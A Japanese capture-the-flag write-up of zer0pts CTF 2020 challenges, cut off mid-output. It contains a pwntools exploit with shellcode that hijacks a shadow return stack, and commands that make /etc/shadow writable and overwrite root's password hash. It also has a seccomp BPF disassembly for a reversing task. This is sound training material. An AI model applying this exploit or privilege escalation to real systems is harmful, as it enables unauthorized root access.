zer0pts CTF 2020 Writeup
zer0pts CTF に参加して Welcome, Survey 以外を解いた454チーム中81位でした。
- Not Beginner's Stack [pwn/warmup 81pts 162solves]
- infected [reversing/warmup 96pts 109solves]
- syscall 777 [reversing 124pts 61solves]
- war(sa)mup [crypto/warmup 102pts 95solves]
- 終了後に解いた問題
- 感想
Not Beginner's Stack [pwn/warmup 81pts 162solves]
global _start section .text %macro call 1 ;; __stack_shadow[__stack_depth++] = return_address; mov ecx, [__stack_depth] mov qword [__stack_shadow + rcx * 8], %%return_address inc dword [__stack_depth] ;; goto function jmp %1 %%return_address: %endmacro %macro ret 0 ;; goto __stack_shadow[--__stack_depth]; dec dword [__stack_depth] mov ecx, [__stack_depth] jmp qword [__stack_shadow + rcx * 8] %endmacro _start: call notvuln call exit notvuln: ;; char buf[0x100]; enter 0x100, 0 ;; vuln(); call vuln ;; write(1, "Data: ", 6); mov edx, 6 mov esi, msg_data xor edi, edi inc edi call write ;; read(0, buf, 0x100); mov edx, 0x100 lea rsi, [rbp-0x100] xor edi, edi call read ;; return 0; xor eax, eax ret vuln: ;; char buf[0x100]; enter 0x100, 0 ;; write(1, "Data: ", 6); mov edx, 6 mov esi, msg_data xor edi, edi inc edi call write ;; read(0, buf, 0x1000); mov edx, 0x1000 ; [!] vulnerability lea rsi, [rbp-0x100] xor edi, edi call read ;; return; leave ret read: xor eax, eax syscall ret write: xor eax, eax inc eax syscall ret exit: mov eax, 60 syscall hlt section .data msg_data: db "Data: " __stack_depth: dd 0 section .bss __stack_shadow: resb 1024
Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
BOFがありますが、return address がスタックではなくbssにある_stack_shadow
に積まれるのでスタック内では return address を書き替えられません。しかし、rbpはスタックに積まれているのでBOFで操作することができます。
vulnの後にあるnotvulnで[rbp - 0x100]を書き替えることが可能なので、これで_stack_shadow
を書き替えましょう。NX disabledなのでシェルコードを実行してシェルを取ります。
from pwn import * import sys context.terminal = "wterminal" context.arch = "amd64" chall = "./chall" nc = "nc pwn.ctf.zer0pts.com 9011" if len(sys.argv) > 1 and sys.argv[1] == "debug": io = gdb.debug(chall, ''' b *0x4001ec c ''') elif len(sys.argv) > 1 and sys.argv[1] == "remote": _, domain, port = nc.split() io = remote(domain, int(port)) else: io = process(chall) chall = ELF(chall) payload = b"" payload += b"A" * 0x100 payload += p64(chall.sym["__stack_shadow"]+0x100) # rbp io.sendlineafter("Data: ", payload) shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" payload = b"" payload += p64(0) payload += p64(chall.sym["__stack_shadow"]+0x10) payload += shellcode io.sendlineafter("Data: ", payload) io.interactive()
zer0pts{1nt3rm3d14t3_pwn3r5_l1k3_2_0v3rwr1t3_s4v3d_RBP}
infected [reversing/warmup 96pts 109solves]
指定されたサーバーに接続するとシェルが与えられるので、`/dev/backdoor
を使って/root
にあるフラグを読んで下さいという問題です。
この/dev/backdoor
を生成するバイナリが渡されるのでこれをCutterで解析します。
backdoor_write
という関数が怪しそうです。名前から推測するにデバイスに書き込む時に使われるハンドラでしょうか。
// WARNING: Could not reconcile some variable overlaps void backdoor_write(int64_t arg1, char *arg2, int64_t arg3, int64_t arg4, int64_t arg5) { int32_t iVar1; undefined4 uVar2; int64_t iVar3; int64_t iVar4; int64_t arg1_00; int64_t iVar5; int64_t in_FS_OFFSET; int64_t var_e8h; int64_t var_e0h; int64_t n; char *src; int64_t var_c8h; char *ptr; char *var_b8h; char *path; char *str; int64_t var_a0h; int64_t var_88h; int64_t canary; canary = *(int64_t *)(in_FS_OFFSET + 0x28); iVar3 = strndup(arg2, arg3, arg3); if (iVar3 == 0) { fuse_reply_err(arg1, 0x16); goto code_r0x00000c8c; } # 0xe20: ":" iVar4 = strtok(iVar3, 0xe20); arg1_00 = strtok(0, 0xe20); iVar5 = strtok(0, 0xe20); if (((iVar4 == 0) || (arg1_00 == 0)) || (iVar5 == 0)) { fuse_reply_err(arg1, 0x16); } else { # 0xe22: "b4ckd00r" iVar1 = strncmp(iVar4, 0xe22, 8); if (iVar1 == 0) { stat64(arg1_00, (int64_t)&var_a0h); if (((uint32_t)var_88h & 0xf000) == 0x8000) { uVar2 = atoi(iVar5); iVar1 = chmod(arg1_00, uVar2, uVar2); if (iVar1 == 0) { fuse_reply_write(arg1, arg3, arg3); goto code_r0x00000c7d; } } fuse_reply_err(arg1, 0x16); } else { fuse_reply_err(arg1, 0x16); } } code_r0x00000c7d: free(iVar3); code_r0x00000c8c: if (canary != *(int64_t *)(in_FS_OFFSET + 0x28)) { __stack_chk_fail(); } return; }
処理を見ていくとb4ckd00r:/file/path:permission
という文字列を書き込めば、ファイルのパーミッションを変更してくれるプログラムということがわかります。
ただし((uint32_t)var_88h & 0xf000) == 0x8000
の部分で通常ファイルしか権限を変更できないよう制限されています。
var_88h
はstat構造体のオフセット、0x8000
はman statを見ると理解できます。
/root
を直接変更することができないので、/root
の権限を変更するのではなくroot権限を取りに行く方針で進めます。
まずecho -n "b4ckd00r:/etc/shadow:511" > /dev/backdoor
で/etc/shadow
を書き込み可能にします。
次にクライアントの方でopenssl -1 -salt hoge
で好きなパスワードを使いハッシュを生成します。
最後にecho 'root:hash:::::::' > /etc/shadow
で生成したハッシュを使い/etc/shadow
に書き込むとrootのパスワードが先ほど使ったパスワードになります。
その後login root
をしてroot権限を取ればフラグが見れます。
zer0pts{exCUSE_m3_bu7_d0_u_m1nd_0p3n1ng_7h3_b4ckd00r?}
syscall 777 [reversing 124pts 61solves]
フラグをチェックするバイナリが渡されます。Cutterで見ていきます。
int32_t main(undefined8 placeholder_0, undefined8 placeholder_1, char **envp) { int32_t iVar1; int32_t *piVar2; int64_t iVar3; undefined4 *puVar4; int32_t iVar5; int64_t in_FS_OFFSET; undefined4 auStack104 [14]; int64_t iStack48; iVar3 = 0xe; iVar5 = 1; iStack48 = *(int64_t *)(in_FS_OFFSET + 0x28); puVar4 = auStack104; while (iVar3 != 0) { iVar3 = iVar3 + -1; *puVar4 = 0; puVar4 = puVar4 + 1; } __printf_chk(1, "FLAG: "); iVar1 = __isoc99_scanf("%55s", auStack104); if (iVar1 == 1) { iVar3 = 1; do { iVar5 = (int32_t)iVar3; syscall(0x309, auStack104[iVar3 + -1], auStack104[iVar5 % 0xe], auStack104[(iVar5 + 1) % 0xe], auStack104[(iVar5 + 2) % 0xe]); piVar2 = (int32_t *)__errno_location(); iVar5 = *piVar2; if (iVar5 == 1) { puts("Wrong..."); goto code_r0x0000091f; } iVar3 = iVar3 + 1; } while (iVar3 != 0xf); iVar5 = 0; puts("Correct!"); } code_r0x0000091f: if (iStack48 != *(int64_t *)(in_FS_OFFSET + 0x28)) { // WARNING: Subroutine does not return __stack_chk_fail(); } return iVar5; }
フラグを4文字ずつ4個分、ループで一つずつずらしながら判定しています。
しかし、777番という通常では有りえないsyscallで判定処理をしていて中身がわかりません。どこか別の関数に処理がないでしょうか。
見ていくとentry.init0
に気になる処理がありました。
void entry.init1(void) { int32_t iVar1; int64_t iVar2; undefined4 *puVar3; undefined4 *puVar4; int64_t in_FS_OFFSET; uint8_t uVar5; undefined2 auStack1672 [4]; undefined4 *puStack1664; undefined4 auStack1656 [410]; int64_t iStack16; // [14] -r-x section size 786 named .text uVar5 = 0; iStack16 = *(int64_t *)(in_FS_OFFSET + 0x28); iVar1 = prctl(0x26, 1, 0, 0, 0); if (iVar1 == 0) { puStack1664 = auStack1656; iVar2 = 0x19a; auStack1672[0] = 0xcd; puVar3 = (undefined4 *)0xb00; puVar4 = auStack1656; while (iVar2 != 0) { iVar2 = iVar2 + -1; *puVar4 = *puVar3; puVar3 = puVar3 + (uint64_t)uVar5 * -2 + 1; puVar4 = puVar4 + (uint64_t)uVar5 * -2 + 1; } iVar1 = prctl(0x16, 2, auStack1672); if (iVar1 == 0) { if (iStack16 != *(int64_t *)(in_FS_OFFSET + 0x28)) { // WARNING: Subroutine does not return __stack_chk_fail(); } return; } } // WARNING: Subroutine does not return exit(1); }
prctl.h
を見ながら調べると、一回目ではprctl(PR_SET_NO_NEW_PRIVS, 1)
、二回目ではprctl(PR_SET_SECCOMP, SECCOMP_GET_ACTION_AVAIL, auStack1672)
という処理をしています。
auStack1672がどうなってるかはよくわかりませんでしたが、0xb00から0x19a*4分スタックに読み込んでる処理が見えるのでそのデータを抜き出してみます。
「PR_SET_SECCOMP」で検索するとseccompではBPFという言語?を使ってフィルタリングプログラムを記述するようです。となると先程のデータはbpfのバイナリでしょうか?「seccomp bpf disassembler」で検索すると seccomp-toolsが出てくるのでこれを使い抜き出したデータを逆アセンブルしてみます。
line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000000 A = sys_number 0001: 0x15 0x00 0xc8 0x00000309 if (A != 0x309) goto 0202 0002: 0x20 0x00 0x00 0x00000010 A = args[0] 0003: 0x54 0x00 0x00 0x000000ff A &= 0xff 0004: 0x35 0xc7 0x00 0x00000080 if (A >= 128) goto 0204 0005: 0x20 0x00 0x00 0x00000010 A = args[0] 0006: 0x74 0x00 0x00 0x00000008 A >>= 8 0007: 0x54 0x00 0x00 0x000000ff A &= 0xff 0008: 0x35 0xc3 0x00 0x00000080 if (A >= 128) goto 0204 0009: 0x20 0x00 0x00 0x00000010 A = args[0] 0010: 0x74 0x00 0x00 0x00000010 A >>= 16 0011: 0x54 0x00 0x00 0x000000ff A &= 0xff 0012: 0x35 0xbf 0x00 0x00000080 if (A >= 128) goto 0204 0013: 0x20 0x00 0x00 0x00000010 A = args[0] 0014: 0x74 0x00 0x00 0x00000018 A >>= 24 0015: 0x54 0x00 0x00 0x000000ff A &= 0xff 0016: 0x35 0xbb 0x00 0x00000080 if (A >= 128) goto 0204 0017: 0x20 0x00 0x00 0x00000010 A = args[0] 0018: 0x02 0x00 0x00 0x00000000 mem[0] = A 0019: 0x20 0x00 0x00 0x00000018 A = args[1] 0020: 0x61 0x00 0x00 0x00000000 X = mem[0] 0021: 0xac 0x00 0x00 0x00000000 A ^= X 0022: 0x02 0x00 0x00 0x00000001 mem[1] = A 0023: 0x20 0x00 0x00 0x00000020 A = args[2] 0024: 0x61 0x00 0x00 0x00000001 X = mem[1] 0025: 0xac 0x00 0x00 0x00000000 A ^= X 0026: 0x02 0x00 0x00 0x00000002 mem[2] = A 0027: 0x20 0x00 0x00 0x00000028 A = args[3] 0028: 0x61 0x00 0x00 0x00000002 X = mem[2] 0029: 0xac 0x00 0x00 0x00000000 A ^= X 0030: 0x02 0x00 0x00 0x00000003 mem[3] = A 0031: 0x60 0x00 0x00 0x00000000 A = mem[0] 0032: 0x61 0x00 0x00 0x00000001 X = mem[1] 0033: 0x0c 0x00 0x00 0x00000000 A += X 0034: 0x61 0x00 0x00 0x00000002 X = mem[2] 0035: 0x0c 0x00 0x00 0x00000000 A += X 0036: 0x61 0x00 0x00 0x00000003 X = mem[3] 0037: 0x0c 0x00 0x00 0x00000000 A += X 0038: 0x02 0x00 0x00 0x00000004 mem[4] = A 0039: 0x60 0x00 0x00 0x00000000 A = mem[0] 0040: 0x61 0x00 0x00 0x00000001 X = mem[1] 0041: 0x1c 0x00 0x00 0x00000000 A -= X 0042: 0x61 0x00 0x00 0x00000002 X = mem[2] 0043: 0x0c 0x00 0x00 0x00000000 A += X 0044: 0x61 0x00 0x00 0x00000003 X = mem[3] 0045: 0x1c 0x00 0x00 0x00000000 A -= X 0046: 0x02 0x00 0x00 0x00000005 mem[5] = A 0047: 0x60 0x00 0x00 0x00000000 A = mem[0] 0048: 0x61 0x00 0x00 0x00000001 X = mem[1] 0049: 0x0c 0x00 0x00 0x00000000 A += X 0050: 0x61 0x00 0x00 0x00000002 X = mem[2] 0051: 0x1c 0x00 0x00 0x00000000 A -= X 0052: 0x61 0x00 0x00 0x00000003 X = mem[3] 0053: 0x1c 0x00 0x00 0x00000000 A -= X 0054: 0x02 0x00 0x00 0x00000006 mem[6] = A 0055: 0x60 0x00 0x00 0x00000000 A = mem[0] 0056: 0x61 0x00 0x00 0x00000001 X = mem[1] 0057: 0x1c 0x00 0x00 0x00000000 A -= X 0058: 0x61 0x00 0x00 0x00000002 X = mem[2] 0059: 0x1c 0x00 0x00 0x00000000 A -= X 0060: 0x61 0x00 0x00 0x00000003 X = mem[3] 0061: 0x0c 0x00 0x00 0x00000000 A += X 0062: 0x02 0x00 0x00 0x00000007 mem[7] = A 0063: 0x60 0x00 0x00 0x00000004 A = mem[4] 0064: 0x61 0x00 0x00 0x00000005 X = mem[5] 0065: 0x4c 0x00 0x00 0x00000000 A |= X 0066: 0x02 0x00 0x00 0x00000008 mem[8] = A 0067: 0x60 0x00 0x00 0x00000006 A = mem[6] 0068: 0x61 0x00 0x00 0x00000007 X = mem[7] 0069: 0x5c 0x00 0x00 0x00000000 A &= X 0070: 0x61 0x00 0x00 0x00000008 X = mem[8] 0071: 0xac 0x00 0x00 0x00000000 A ^= X 0072: 0x02 0x00 0x00 0x00000008 mem[8] = A 0073: 0x60 0x00 0x00 0x00000005 A = mem[5] 0074: 0x61 0x00 0x00 0x00000006 X = mem[6] 0075: 0x4c 0x00 0x00 0x00000000 A |= X 0076: 0x02 0x00 0x00 0x00000009 mem[9] = A 0077: 0x60 0x00 0x00 0x00000007 A = mem[7] 0078: 0x61 0x00 0x00 0x00000004 X = mem[4] 0079: 0x5c 0x00 0x00 0x00000000 A &= X 0080: 0x61 0x00 0x00 0x00000009 X = mem[9] 0081: 0xac 0x00 0x00 0x00000000 A ^= X 0082: 0x02 0x00 0x00 0x00000009 mem[9] = A 0083: 0x60 0x00 0x00 0x00000006 A = mem[6] 0084: 0x61 0x00 0x00 0x00000007 X = mem[7] 0085: 0x4c 0x00 0x00 0x00000000 A |= X 0086: 0x02 0x00 0x00 0x0000000a mem[10] = A 0087: 0x60 0x00 0x00 0x00000004 A = mem[4] 0088: 0x61 0x00 0x00 0x00000005 X = mem[5] 0089: 0x5c 0x00 0x00 0x00000000 A &= X 0090: 0x61 0x00 0x00 0x0000000a X = mem[10] 0091: 0xac 0x00 0x00 0x00000000 A ^= X 0092: 0x02 0x00 0x00 0x0000000a mem[10] = A 0093: 0x60 0x00 0x00 0x00000007 A = mem[7] 0094: 0x61 0x00 0x00 0x00000004 X = mem[4] 0095: 0x4c 0x00 0x00 0x00000000 A |= X 0096: 0x02 0x00 0x00 0x0000000b mem[11] = A 0097: 0x60 0x00 0x00 0x00000005 A = mem[5] 0098: 0x61 0x00 0x00 0x00000006 X = mem[6] 0099: 0x5c 0x00 0x00 0x00000000 A &= X 0100: 0x61 0x00 0x00 0x0000000b X = mem[11] 0101: 0xac 0x00 0x00 0x00000000 A ^= X 0102: 0x02 0x00 0x00 0x0000000b mem[11] = A 0103: 0x60 0x00 0x00 0x00000008 A = mem[8] 0104: 0x15 0x25 0x00 0xf5ffc1f6 if (A == 4127179254) goto 0142 0105: 0x15 0x14 0x00 0x7344aeee if (A == 1933881070) goto 0126 0106: 0x15 0x1f 0x00 0xfda6effe if (A == 4255576062) goto 0138 0107: 0x15 0x0a 0x00 0x638f7ca2 if (A == 1670347938) goto 0118 0108: 0x15 0x0f 0x00 0xa2285400 if (A == 2720551936) goto 0124 0109: 0x15 0x1a 0x00 0x8990fefe if (A == 2307981054) goto 0136 0110: 0x15 0x1d 0x00 0x9f576dd4 if (A == 2673307092) goto 0140 0111: 0x15 0x0a 0x00 0xf6b9ebe2 if (A == 4139379682) goto 0122 0112: 0x15 0x0f 0x00 0xf9e28bee if (A == 4192373742) goto 0128 0113: 0x15 0x14 0x00 0x1f9b8fb4 if (A == 530288564) goto 0134 0114: 0x15 0x1d 0x00 0xefec86de if (A == 4025255646) goto 0144 0115: 0x15 0x0e 0x00 0xdf60093a if (A == 3747612986) goto 0130 0116: 0x15 0x03 0x00 0xb8af3fbe if (A == 3098492862) goto 0120 0117: 0x15 0x0e 0x00 0x7f01bbcc if (A == 2130820044) goto 0132 0118: 0x60 0x00 0x00 0x00000009 A = mem[9] 0119: 0x15 0x32 0x54 0xf1cf5c2e if (A == 4056898606) goto 0170 else goto 0204 0120: 0x60 0x00 0x00 0x00000009 A = mem[9] 0121: 0x15 0x20 0x52 0xb6af7dbe if (A == 3064954302) goto 0154 else goto 0204 0122: 0x60 0x00 0x00 0x00000009 A = mem[9] 0123: 0x15 0x18 0x50 0xd6b9bde2 if (A == 3602496994) goto 0148 else goto 0204 0124: 0x60 0x00 0x00 0x00000009 A = mem[9] 0125: 0x15 0x22 0x4e 0x60fad508 if (A == 1627051272) goto 0160 else goto 0204 0126: 0x60 0x00 0x00 0x00000009 A = mem[9] 0127: 0x15 0x22 0x4c 0x77600ede if (A == 2002783966) goto 0162 else goto 0204 0128: 0x60 0x00 0x00 0x00000009 A = mem[9] 0129: 0x15 0x1c 0x4a 0xf3b68ece if (A == 4088827598) goto 0158 else goto 0204 0130: 0x60 0x00 0x00 0x00000009 A = mem[9] 0131: 0x15 0x24 0x48 0x4fe90926 if (A == 1340672294) goto 0168 else goto 0204 0132: 0x60 0x00 0x00 0x00000009 A = mem[9] 0133: 0x15 0x0c 0x46 0x7e1933ac if (A == 2115580844) goto 0146 else goto 0204 0134: 0x60 0x00 0x00 0x00000009 A = mem[9] 0135: 0x15 0x24 0x44 0x1f9b8fb4 if (A == 530288564) goto 0172 else goto 0204 0136: 0x60 0x00 0x00 0x00000009 A = mem[9] 0137: 0x15 0x1c 0x42 0xcb94e7da if (A == 3415533530) goto 0166 else goto 0204 0138: 0x60 0x00 0x00 0x00000009 A = mem[9] 0139: 0x15 0x0a 0x40 0xb9c2adfe if (A == 3116543486) goto 0150 else goto 0204 0140: 0x60 0x00 0x00 0x00000009 A = mem[9] 0141: 0x15 0x0e 0x3e 0x0f01b94c if (A == 251771212) goto 0156 else goto 0204 0142: 0x60 0x00 0x00 0x00000009 A = mem[9] 0143: 0x15 0x14 0x3c 0xf5efe5f6 if (A == 4126139894) goto 0164 else goto 0204 0144: 0x60 0x00 0x00 0x00000009 A = mem[9] 0145: 0x15 0x06 0x3a 0xa7ad8d4e if (A == 2813168974) goto 0152 else goto 0204 0146: 0x60 0x00 0x00 0x0000000a A = mem[10] 0147: 0x15 0x2e 0x38 0x7efd33a4 if (A == 2130523044) goto 0194 else goto 0204 0148: 0x60 0x00 0x00 0x0000000a A = mem[10] 0149: 0x15 0x24 0x36 0xd6f33dda if (A == 3606265306) goto 0186 else goto 0204 0150: 0x60 0x00 0x00 0x0000000a A = mem[10] 0151: 0x15 0x26 0x34 0xbbdaa5e6 if (A == 3151668710) goto 0190 else goto 0204 0152: 0x60 0x00 0x00 0x0000000a A = mem[10] 0153: 0x15 0x22 0x32 0x24a7ad2e if (A == 614968622) goto 0188 else goto 0204 0154: 0x60 0x00 0x00 0x0000000a A = mem[10] 0155: 0x15 0x2a 0x30 0xb7fdfcbe if (A == 3086875838) goto 0198 else goto 0204 0156: 0x60 0x00 0x00 0x0000000a A = mem[10] 0157: 0x15 0x10 0x2e 0x0f01b94c if (A == 251771212) goto 0174 else goto 0204 0158: 0x60 0x00 0x00 0x0000000a A = mem[10] 0159: 0x15 0x12 0x2c 0xb3bdaed6 if (A == 3015552726) goto 0178 else goto 0204 0160: 0x60 0x00 0x00 0x0000000a A = mem[10] 0161: 0x15 0x22 0x2a 0x60ffd7bc if (A == 1627379644) goto 0196 else goto 0204 0162: 0x60 0x00 0x00 0x0000000a A = mem[10] 0163: 0x15 0x0c 0x28 0x5f785fd2 if (A == 1601724370) goto 0176 else goto 0204 0164: 0x60 0x00 0x00 0x0000000a A = mem[10] 0165: 0x15 0x12 0x26 0x27aeff3e if (A == 665780030) goto 0184 else goto 0204 0166: 0x60 0x00 0x00 0x0000000a A = mem[10] 0167: 0x15 0x0e 0x24 0xc39dc1ca if (A == 3281895882) goto 0182 else goto 0204 0168: 0x60 0x00 0x00 0x0000000a A = mem[10] 0169: 0x15 0x1e 0x22 0x4d8f1f86 if (A == 1301225350) goto 0200 else goto 0204 0170: 0x60 0x00 0x00 0x0000000a A = mem[10] 0171: 0x15 0x14 0x20 0x99ff4c6e if (A == 2583645294) goto 0192 else goto 0204 0172: 0x60 0x00 0x00 0x0000000a A = mem[10] 0173: 0x15 0x06 0x1e 0xe97d7d54 if (A == 3917315412) goto 0180 else goto 0204 0174: 0x60 0x00 0x00 0x0000000b A = mem[11] 0175: 0x15 0x1b 0x1c 0x9f576dd4 if (A == 2673307092) goto 0203 else goto 0204 0176: 0x60 0x00 0x00 0x0000000b A = mem[11] 0177: 0x15 0x19 0x1a 0x5b5cffe2 if (A == 1532821474) goto 0203 else goto 0204 0178: 0x60 0x00 0x00 0x0000000b A = mem[11] 0179: 0x15 0x17 0x18 0xb9e9abf6 if (A == 3119098870) goto 0203 else goto 0204 0180: 0x60 0x00 0x00 0x0000000b A = mem[11] 0181: 0x15 0x15 0x16 0xe97d7d54 if (A == 3917315412) goto 0203 else goto 0204 0182: 0x60 0x00 0x00 0x0000000b A = mem[11] 0183: 0x15 0x13 0x14 0x8199d8ee if (A == 2174343406) goto 0203 else goto 0204 0184: 0x60 0x00 0x00 0x0000000b A = mem[11] 0185: 0x15 0x11 0x12 0x27bedb3e if (A == 666819390) goto 0203 else goto 0204 0186: 0x60 0x00 0x00 0x0000000b A = mem[11] 0187: 0x15 0x0f 0x10 0xf6f36bda if (A == 4143147994) goto 0203 else goto 0204 0188: 0x60 0x00 0x00 0x0000000b A = mem[11] 0189: 0x15 0x0d 0x0e 0x6ce6a6be if (A == 1827055294) goto 0203 else goto 0204 0190: 0x60 0x00 0x00 0x0000000b A = mem[11] 0191: 0x15 0x0b 0x0c 0xffbee7e6 if (A == 4290701286) goto 0203 else goto 0204 0192: 0x60 0x00 0x00 0x0000000b A = mem[11] 0193: 0x15 0x09 0x0a 0x0bbf6ce2 if (A == 197094626) goto 0203 else goto 0204 0194: 0x60 0x00 0x00 0x0000000b A = mem[11] 0195: 0x15 0x07 0x08 0x7fe5bbc4 if (A == 2145762244) goto 0203 else goto 0204 0196: 0x60 0x00 0x00 0x0000000b A = mem[11] 0197: 0x15 0x05 0x06 0xa22d56b4 if (A == 2720880308) goto 0203 else goto 0204 0198: 0x60 0x00 0x00 0x0000000b A = mem[11] 0199: 0x15 0x03 0x04 0xb9fdbebe if (A == 3120414398) goto 0203 else goto 0204 0200: 0x60 0x00 0x00 0x0000000b A = mem[11] 0201: 0x15 0x01 0x02 0xdd061f9a if (A == 3708166042) goto 0203 else goto 0204 0202: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0203: 0x06 0x00 0x00 0x00050000 return ERRNO(0) 0204: 0x06 0x00 0x00 0x00050001 return ERRNO(1)
良い感じのプログラムが出てきました。恐らくargsはsyscallで渡される引数でしょう。
mem[8],mem[9],mem[10],mem[11]が特定の数値になっているかで判定しているようなので、とりあえずそのペアを抜き出してみます。
import re with open("asm") as f: asm = f.read().split("\n") result = [] for i in range(106, 120): print(asm[i]) match = re.search(R"A == (\d+)\) goto (\d+)", asm[i]).groups() m8 = int(match[0], 10) next_line = int(match[1], 10) print(asm[next_line]) print(asm[next_line+1]) match = re.search(R"A == (\d+)\) goto (\d+)", asm[next_line+1]).groups() m9 = int(match[0], 10) next_line = int(match[1], 10) print(asm[next_line]) print(asm[next_line+1]) match = re.search(R"A == (\d+)\) goto (\d+)", asm[next_line+1]).groups() m10 = int(match[0], 10) next_line = int(match[1], 10) print(asm[next_line]) print(asm[next_line+1]) match = re.search(R"A == (\d+)\) goto (\d+)", asm[next_line+1]).groups() m11 = int(match[0], 10) next_line = int(match[1], 10) result.append((m8, m9, m10, m11)) print() print(result) print(len(result))
0104: 0x15 0x25 0x00 0xf5ffc1f6 if (A == 4127179254) goto 0142 0140: 0x60 0x00 0x00 0x00000009 A = mem[9] 0141: 0x15 0x0e 0x3e 0x0f01b94c if (A == 251771212) goto 0156 else goto 0204 0154: 0x60 0x00 0x00 0x0000000a A = mem[10] 0155: 0x15 0x2a 0x30 0xb7fdfcbe if (A == 3086875838) goto 0198 else goto 0204 0196: 0x60 0x00 0x00 0x0000000b A = mem[11] 0197: 0x15 0x05 0x06 0xa22d56b4 if (A == 2720880308) goto 0203 else goto 0204 0105: 0x15 0x14 0x00 0x7344aeee if (A == 1933881070) goto 0126 0124: 0x60 0x00 0x00 0x00000009 A = mem[9] 0125: 0x15 0x22 0x4e 0x60fad508 if (A == 1627051272) goto 0160 else goto 0204 0158: 0x60 0x00 0x00 0x0000000a A = mem[10] 0159: 0x15 0x12 0x2c 0xb3bdaed6 if (A == 3015552726) goto 0178 else goto 0204 0176: 0x60 0x00 0x00 0x0000000b A = mem[11] 0177: 0x15 0x19 0x1a 0x5b5cffe2 if (A == 1532821474) goto 0203 else goto 0204 0106: 0x15 0x1f 0x00 0xfda6effe if (A == 4255576062) goto 0138 0136: 0x60 0x00 0x00 0x00000009 A = mem[9] 0137: 0x15 0x1c 0x42 0xcb94e7da if (A == 3415533530) goto 0166 else goto 0204 0164: 0x60 0x00 0x00 0x0000000a A = mem[10] 0165: 0x15 0x12 0x26 0x27aeff3e if (A == 665780030) goto 0184 else goto 0204 0182: 0x60 0x00 0x00 0x0000000b A = mem[11] 0183: 0x15 0x13 0x14 0x8199d8ee if (A == 2174343406) goto 0203 else goto 0204 0107: 0x15 0x0a 0x00 0x638f7ca2 if (A == 1670347938) goto 0118 0116: 0x15 0x03 0x00 0xb8af3fbe if (A == 3098492862) goto 0120 0117: 0x15 0x0e 0x00 0x7f01bbcc if (A == 2130820044) goto 0132 0130: 0x60 0x00 0x00 0x00000009 A = mem[9] 0131: 0x15 0x24 0x48 0x4fe90926 if (A == 1340672294) goto 0168 else goto 0204 0166: 0x60 0x00 0x00 0x0000000a A = mem[10] 0167: 0x15 0x0e 0x24 0xc39dc1ca if (A == 3281895882) goto 0182 else goto 0204 0108: 0x15 0x0f 0x00 0xa2285400 if (A == 2720551936) goto 0124 0122: 0x60 0x00 0x00 0x00000009 A = mem[9] 0123: 0x15 0x18 0x50 0xd6b9bde2 if (A == 3602496994) goto 0148 else goto 0204 0146: 0x60 0x00 0x00 0x0000000a A = mem[10] 0147: 0x15 0x2e 0x38 0x7efd33a4 if (A == 2130523044) goto 0194 else goto 0204 0192: 0x60 0x00 0x00 0x0000000b A = mem[11] 0193: 0x15 0x09 0x0a 0x0bbf6ce2 if (A == 197094626) goto 0203 else goto 0204 0109: 0x15 0x1a 0x00 0x8990fefe if (A == 2307981054) goto 0136 0134: 0x60 0x00 0x00 0x00000009 A = mem[9] 0135: 0x15 0x24 0x44 0x1f9b8fb4 if (A == 530288564) goto 0172 else goto 0204 0170: 0x60 0x00 0x00 0x0000000a A = mem[10] 0171: 0x15 0x14 0x20 0x99ff4c6e if (A == 2583645294) goto 0192 else goto 0204 0190: 0x60 0x00 0x00 0x0000000b A = mem[11] 0191: 0x15 0x0b 0x0c 0xffbee7e6 if (A == 4290701286) goto 0203 else goto 0204 0110: 0x15 0x1d 0x00 0x9f576dd4 if (A == 2673307092) goto 0140 0138: 0x60 0x00 0x00 0x00000009 A = mem[9] 0139: 0x15 0x0a 0x40 0xb9c2adfe if (A == 3116543486) goto 0150 else goto 0204 0148: 0x60 0x00 0x00 0x0000000a A = mem[10] 0149: 0x15 0x24 0x36 0xd6f33dda if (A == 3606265306) goto 0186 else goto 0204 0184: 0x60 0x00 0x00 0x0000000b A = mem[11] 0185: 0x15 0x11 0x12 0x27bedb3e if (A == 666819390) goto 0203 else goto 0204 0111: 0x15 0x0a 0x00 0xf6b9ebe2 if (A == 4139379682) goto 0122 0120: 0x60 0x00 0x00 0x00000009 A = mem[9] 0121: 0x15 0x20 0x52 0xb6af7dbe if (A == 3064954302) goto 0154 else goto 0204 0152: 0x60 0x00 0x00 0x0000000a A = mem[10] 0153: 0x15 0x22 0x32 0x24a7ad2e if (A == 614968622) goto 0188 else goto 0204 0186: 0x60 0x00 0x00 0x0000000b A = mem[11] 0187: 0x15 0x0f 0x10 0xf6f36bda if (A == 4143147994) goto 0203 else goto 0204 0112: 0x15 0x0f 0x00 0xf9e28bee if (A == 4192373742) goto 0128 0126: 0x60 0x00 0x00 0x00000009 A = mem[9] 0127: 0x15 0x22 0x4c 0x77600ede if (A == 2002783966) goto 0162 else goto 0204 0160: 0x60 0x00 0x00 0x0000000a A = mem[10] 0161: 0x15 0x22 0x2a 0x60ffd7bc if (A == 1627379644) goto 0196 else goto 0204 0194: 0x60 0x00 0x00 0x0000000b A = mem[11] 0195: 0x15 0x07 0x08 0x7fe5bbc4 if (A == 2145762244) goto 0203 else goto 0204 0113: 0x15 0x14 0x00 0x1f9b8fb4 if (A == 530288564) goto 0134 0132: 0x60 0x00 0x00 0x00000009 A = mem[9] 0133: 0x15 0x0c 0x46 0x7e1933ac if (A == 2115580844) goto 0146 else goto 0204 0144: 0x60 0x00 0x00 0x00000009 A = mem[9] 0145: 0x15 0x06 0x3a 0xa7ad8d4e if (A == 2813168974) goto 0152 else goto 0204 0150: 0x60 0x00 0x00 0x0000000a A = mem[10] 0151: 0x15 0x26 0x34 0xbbdaa5e6 if (A == 3151668710) goto 0190 else goto 0204 0114: 0x15 0x1d 0x00 0xefec86de if (A == 4025255646) goto 0144 0142: 0x60 0x00 0x00 0x00000009 A = mem[9] 0143: 0x15 0x14 0x3c 0xf5efe5f6 if (A == 4126139894) goto 0164 else goto 0204 0162: 0x60 0x00 0x00 0x0000000a A = mem[10] 0163: 0x15 0x0c 0x28 0x5f785fd2 if (A == 1601724370) goto 0176 else goto 0204 0174: 0x60 0x00 0x00 0x0000000b A = mem[11] 0175: 0x15 